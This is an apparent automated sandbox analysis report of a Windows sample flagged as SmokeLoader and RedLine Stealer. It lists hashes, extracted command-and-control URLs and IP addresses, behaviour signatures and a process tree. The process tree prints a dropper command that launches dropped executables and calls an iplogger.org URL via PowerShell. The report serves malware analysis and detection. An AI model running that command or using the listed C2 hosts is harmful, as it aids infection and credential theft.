Analysis
-
max time kernel
1804s -
max time network
1801s -
platform
windows11_x64 -
resource
win11 -
submitted
23-11-2021 07:43
Static task
static1
Behavioral task
behavioral1
Sample
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe
Resource
win7-ja-20211014
Behavioral task
behavioral2
Sample
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe
Resource
win7-en-20211104
Behavioral task
behavioral3
Sample
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe
Resource
win7-de-20211014
Behavioral task
behavioral4
Sample
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe
Resource
win11
Behavioral task
behavioral5
Sample
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe
Resource
win10-ja-20211104
Behavioral task
behavioral6
Sample
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe
Resource
win10-en-20211014
Behavioral task
behavioral7
Sample
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe
Resource
win10-de-20211104
General
-
Target
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe
-
Size
290KB
-
MD5
469e786685a42c43b4782cd424b6d608
-
SHA1
ad059f93ce067ea98bc2e0c3484cdae1ac31220d
-
SHA256
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1
-
SHA512
9f195567e6b89b98a26e7c13a772d293b896814762e1872b05acf1283258c2f26faa87d5f91769baba2876ea2d81783e4f36e2a127002cb9e30adcf8864da6d8
Malware Config
Extracted
smokeloader
2020
http://nalirou70.top/
http://xacokuo80.top/
Extracted
redline
185.159.80.90:38637
Extracted
redline
@123
141.95.82.50:63652
Extracted
redline
test1
65.108.4.86:21391
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
Processes:
resource yara_rule behavioral4/memory/2172-172-0x0000000000000000-mapping.dmp family_redline behavioral4/memory/2172-173-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral4/memory/3472-203-0x0000000000C10000-0x0000000000C2B000-memory.dmp family_redline behavioral4/memory/4324-211-0x0000000003710000-0x000000000373F000-memory.dmp family_redline behavioral4/memory/4324-245-0x0000000003A80000-0x0000000003A99000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 2024 created 4344 2024 WerFault.exe 2551.exe PID 1884 created 924 1884 WerFault.exe 8A76.exe PID 1588 created 5040 1588 WerFault.exe rrghost.exe PID 4876 created 1260 4876 WerFault.exe AA16.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 109 4868 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 14 IoCs
Processes:
2011.exe2551.exe2A34.exe2011.exe2A34.exe8A76.exe8D17.exewTToGfokj1DO.exerrghost.exeDone_2.exeMMP1 (1).exeWww.exeAA16.exeMMP1 (1).exepid process 3600 2011.exe 4344 2551.exe 1088 2A34.exe 3012 2011.exe 2172 2A34.exe 924 8A76.exe 3472 8D17.exe 4324 wTToGfokj1DO.exe 5040 rrghost.exe 1076 Done_2.exe 4944 MMP1 (1).exe 2136 Www.exe 1260 AA16.exe 2488 MMP1 (1).exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Www.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Www.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Www.exe -
Loads dropped DLL 1 IoCs
Processes:
Done_2.exepid process 1076 Done_2.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Www.exe themida C:\Users\Admin\AppData\Local\Temp\Www.exe themida behavioral4/memory/2136-311-0x0000000000140000-0x0000000000141000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
Www.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Www.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 2 api.ipify.org -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
Www.exepid process 2136 Www.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe2011.exe2A34.exeMMP1 (1).exedescription pid process target process PID 2272 set thread context of 2012 2272 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe PID 3600 set thread context of 3012 3600 2011.exe 2011.exe PID 1088 set thread context of 2172 1088 2A34.exe 2A34.exe PID 4944 set thread context of 2488 4944 MMP1 (1).exe MMP1 (1).exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4844 4344 WerFault.exe 2551.exe 1180 924 WerFault.exe 8A76.exe 1292 5040 WerFault.exe rrghost.exe 4072 1260 WerFault.exe AA16.exe -
NSIS installer 4 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Done_2.exe nsis_installer_1 C:\Users\Admin\AppData\Local\Temp\Done_2.exe nsis_installer_2 C:\Users\Admin\AppData\Local\Temp\Done_2.exe nsis_installer_1 C:\Users\Admin\AppData\Local\Temp\Done_2.exe nsis_installer_2 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
2011.exe7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2011.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2011.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2011.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe -
Checks processor information in registry 2 TTPs 30 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WerFault.exeWerFault.exeWerFault.exeMMP1 (1).exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString MMP1 (1).exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MMP1 (1).exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe -
Enumerates system info in registry 2 TTPs 8 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exepid process 2012 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 2012 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 3208 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 3208 -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe2011.exepid process 2012 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 3012 2011.exe -
Suspicious use of AdjustPrivilegeToken 60 IoCs
Processes:
WerFault.exe2A34.exepowershell.exewTToGfokj1DO.exeWww.exedescription pid process Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeRestorePrivilege 4844 WerFault.exe Token: SeBackupPrivilege 4844 WerFault.exe Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeDebugPrivilege 2172 2A34.exe Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeDebugPrivilege 4868 powershell.exe Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeDebugPrivilege 4324 wTToGfokj1DO.exe Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeDebugPrivilege 2136 Www.exe Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 Token: SeShutdownPrivilege 3208 Token: SeCreatePagefilePrivilege 3208 -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
pid process 3208 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe2011.exe2A34.exeWerFault.exe2A34.exeDone_2.exeWerFault.execmd.exeWerFault.exedescription pid process target process PID 2272 wrote to memory of 2012 2272 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe PID 2272 wrote to memory of 2012 2272 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe PID 2272 wrote to memory of 2012 2272 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe PID 2272 wrote to memory of 2012 2272 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe PID 2272 wrote to memory of 2012 2272 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe PID 2272 wrote to memory of 2012 2272 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe 7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe PID 3208 wrote to memory of 3600 3208 2011.exe PID 3208 wrote to memory of 3600 3208 2011.exe PID 3208 wrote to memory of 3600 3208 2011.exe PID 3208 wrote to memory of 4344 3208 2551.exe PID 3208 wrote to memory of 4344 3208 2551.exe PID 3208 wrote to memory of 4344 3208 2551.exe PID 3208 wrote to memory of 1088 3208 2A34.exe PID 3208 wrote to memory of 1088 3208 2A34.exe PID 3208 wrote to memory of 1088 3208 2A34.exe PID 3600 wrote to memory of 3012 3600 2011.exe 2011.exe PID 3600 wrote to memory of 3012 3600 2011.exe 2011.exe PID 3600 wrote to memory of 3012 3600 2011.exe 2011.exe PID 3600 wrote to memory of 3012 3600 2011.exe 2011.exe PID 3600 wrote to memory of 3012 3600 2011.exe 2011.exe PID 3600 wrote to memory of 3012 3600 2011.exe 2011.exe PID 1088 wrote to memory of 2172 1088 2A34.exe 2A34.exe PID 1088 wrote to memory of 2172 1088 2A34.exe 2A34.exe PID 1088 wrote to memory of 2172 1088 2A34.exe 2A34.exe PID 2024 wrote to memory of 4344 2024 WerFault.exe 2551.exe PID 2024 wrote to memory of 4344 2024 WerFault.exe 2551.exe PID 1088 wrote to memory of 2172 1088 2A34.exe 2A34.exe PID 1088 wrote to memory of 2172 1088 2A34.exe 2A34.exe PID 1088 wrote to memory of 2172 1088 2A34.exe 2A34.exe PID 1088 wrote to memory of 2172 1088 2A34.exe 2A34.exe PID 1088 wrote to memory of 2172 1088 2A34.exe 2A34.exe PID 3208 wrote to memory of 924 3208 8A76.exe PID 3208 wrote to memory of 924 3208 8A76.exe PID 3208 wrote to memory of 924 3208 8A76.exe PID 3208 wrote to memory of 3472 3208 8D17.exe PID 3208 wrote to memory of 3472 3208 8D17.exe PID 2172 wrote to memory of 4324 2172 2A34.exe wTToGfokj1DO.exe PID 2172 wrote to memory of 4324 2172 2A34.exe wTToGfokj1DO.exe PID 2172 wrote to memory of 4324 2172 2A34.exe wTToGfokj1DO.exe PID 2172 wrote to memory of 5040 2172 2A34.exe rrghost.exe PID 2172 wrote to memory of 5040 2172 2A34.exe rrghost.exe PID 2172 wrote to memory of 5040 2172 2A34.exe rrghost.exe PID 2172 wrote to memory of 1076 2172 2A34.exe Done_2.exe PID 2172 wrote to memory of 1076 2172 2A34.exe Done_2.exe PID 2172 wrote to memory of 1076 2172 2A34.exe Done_2.exe PID 1076 wrote to memory of 4604 1076 Done_2.exe cmd.exe PID 1076 wrote to memory of 4604 1076 Done_2.exe cmd.exe PID 1076 wrote to memory of 4604 1076 Done_2.exe cmd.exe PID 1884 wrote to memory of 924 1884 WerFault.exe 8A76.exe PID 1884 wrote to memory of 924 1884 WerFault.exe 8A76.exe PID 4604 wrote to memory of 4944 4604 cmd.exe MMP1 (1).exe PID 4604 wrote to memory of 4944 4604 cmd.exe MMP1 (1).exe PID 4604 wrote to memory of 4944 4604 cmd.exe MMP1 (1).exe PID 4604 wrote to memory of 2136 4604 cmd.exe Www.exe PID 4604 wrote to memory of 2136 4604 cmd.exe Www.exe PID 4604 wrote to memory of 2136 4604 cmd.exe Www.exe PID 4604 wrote to memory of 4868 4604 cmd.exe powershell.exe PID 4604 wrote to memory of 4868 4604 cmd.exe powershell.exe PID 4604 wrote to memory of 4868 4604 cmd.exe powershell.exe PID 3208 wrote to memory of 1260 3208 AA16.exe PID 3208 wrote to memory of 1260 3208 AA16.exe PID 3208 wrote to memory of 1260 3208 AA16.exe PID 1588 wrote to memory of 5040 1588 WerFault.exe rrghost.exe PID 1588 wrote to memory of 5040 1588 WerFault.exe rrghost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe"C:\Users\Admin\AppData\Local\Temp\7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe"C:\Users\Admin\AppData\Local\Temp\7d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Users\Admin\AppData\Local\Temp\2011.exeC:\Users\Admin\AppData\Local\Temp\2011.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2011.exeC:\Users\Admin\AppData\Local\Temp\2011.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\2551.exeC:\Users\Admin\AppData\Local\Temp\2551.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 3002⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2A34.exeC:\Users\Admin\AppData\Local\Temp\2A34.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2A34.exeC:\Users\Admin\AppData\Local\Temp\2A34.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wTToGfokj1DO.exe"C:\Users\Admin\AppData\Local\Temp\wTToGfokj1DO.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\rrghost.exe"C:\Users\Admin\AppData\Local\Temp\rrghost.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 3004⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\Done_2.exe"C:\Users\Admin\AppData\Local\Temp\Done_2.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c start "" "MMP1 (1).exe" & start "" "Www.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1qEbs7"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MMP1 (1).exe"MMP1 (1).exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\MMP1 (1).exe"MMP1 (1).exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Users\Admin\AppData\Local\Temp\Www.exe"Www.exe"5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "Invoke-WebRequest -Uri https://iplogger.org/1qEbs7"5⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4344 -ip 43441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\8A76.exeC:\Users\Admin\AppData\Local\Temp\8A76.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 924 -s 2802⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\8D17.exeC:\Users\Admin\AppData\Local\Temp\8D17.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 924 -ip 9241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AA16.exeC:\Users\Admin\AppData\Local\Temp\AA16.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 3002⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5040 -ip 50401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1260 -ip 12601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2A34.exe.logMD5
e07da89fc7e325db9d25e845e27027a8
SHA14b6a03bcdb46f325984cbbb6302ff79f33637e19
SHA25694ab73c00494d10a2159175b81e23047621451e3a566e5a0b1222379db634aaf
SHA5121e33e34595ebb6ce129d0244199d29722c916c036da542c3001f84b10a964b96cec7a9fdd19e120d7840614b307b504be993a4f8538d54382aa4944575476dda
-
C:\Users\Admin\AppData\Local\Temp\2011.exeMD5
469e786685a42c43b4782cd424b6d608
SHA1ad059f93ce067ea98bc2e0c3484cdae1ac31220d
SHA2567d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1
SHA5129f195567e6b89b98a26e7c13a772d293b896814762e1872b05acf1283258c2f26faa87d5f91769baba2876ea2d81783e4f36e2a127002cb9e30adcf8864da6d8
-
C:\Users\Admin\AppData\Local\Temp\2011.exeMD5
469e786685a42c43b4782cd424b6d608
SHA1ad059f93ce067ea98bc2e0c3484cdae1ac31220d
SHA2567d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1
SHA5129f195567e6b89b98a26e7c13a772d293b896814762e1872b05acf1283258c2f26faa87d5f91769baba2876ea2d81783e4f36e2a127002cb9e30adcf8864da6d8
-
C:\Users\Admin\AppData\Local\Temp\2011.exeMD5
469e786685a42c43b4782cd424b6d608
SHA1ad059f93ce067ea98bc2e0c3484cdae1ac31220d
SHA2567d8b30abd1631f50e7ccff64fa6e5bd320bb7322d3c9bddef5a0ecfb14be19f1
SHA5129f195567e6b89b98a26e7c13a772d293b896814762e1872b05acf1283258c2f26faa87d5f91769baba2876ea2d81783e4f36e2a127002cb9e30adcf8864da6d8
-
C:\Users\Admin\AppData\Local\Temp\2551.exeMD5
49d0b3f76123ca9078452899269f9e17
SHA185624ff3ac7d7f0f2e0b476db46b57bf0c0b83c7
SHA2560fc263be7d8779ce4925e35adf271885251cf0d115c33d903a93e684cc872b92
SHA512e568a691cec420ecb218d6c38c6531bd61ea59aff9929232fcca711108e9fe11f6a70583fe253eb145492145d5646f1dda0a9bb9fa09b30e89be807f68991983
-
C:\Users\Admin\AppData\Local\Temp\2551.exeMD5
49d0b3f76123ca9078452899269f9e17
SHA185624ff3ac7d7f0f2e0b476db46b57bf0c0b83c7
SHA2560fc263be7d8779ce4925e35adf271885251cf0d115c33d903a93e684cc872b92
SHA512e568a691cec420ecb218d6c38c6531bd61ea59aff9929232fcca711108e9fe11f6a70583fe253eb145492145d5646f1dda0a9bb9fa09b30e89be807f68991983
-
C:\Users\Admin\AppData\Local\Temp\2A34.exeMD5
a50ee9aad29943a28a90270c948aa700
SHA1188bfab768eb5d04f6d637838ebdc4e5583febd0
